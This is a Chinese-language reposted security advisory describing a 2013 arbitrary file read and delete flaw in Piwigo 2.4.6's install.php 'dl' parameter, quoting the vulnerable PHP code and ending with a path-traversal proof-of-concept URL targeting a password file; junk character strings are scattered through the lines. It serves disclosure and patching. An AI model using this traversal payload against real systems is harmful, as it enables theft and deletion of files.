Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

7 h5 ^; ^5 H" a$ X, f# M7 V, oPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
4 a2 d5 p4 i3 o* A: [! Q5 c====================================================================
/install.php:
; q9 q- ?! {: ]6 ~. E-------------
0 P. D% u$ L, y3 N& E3 ^) d5 f6 r113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
& p( ]9 B, v. Q7 c8 x9 \114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
( }0 E, R5 K+ S& `( k" ?116:   header('Cache-Control: no-cache, must-revalidate');
5 S3 w# U0 Q+ M. \117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
2 D2 K' ^4 K3 {% ?: P  Z5 ~120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
% n( {" s4 G/ F  {  j122:   unlink($filename);
123:   exit();
2 ~8 r/ L0 j. m) I+ A1 b- ?1 H% K124: }
7 q1 V$ j1 I1 u% ^9 Y+ I====================================================================
! L/ }% m$ v6 Z
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
! V2 E4 K/ \7 s/ @; w# A) w# u% _           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
5 H) `6 o: s* C+ _% g$ M                            @zeroscience
' O9 L9 r( W) @# ]7 V
Advisory ID: ZSL-2013-5127
/ ?* X2 c3 k9 H9 U/ ]' LAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
- [3 X% l1 v% ]' v' q9 S2 bVendor Patch: http://piwigo.org/bugs/view.php?id=2843

* j2 i7 @4 O. J3 S15.02.2013

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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt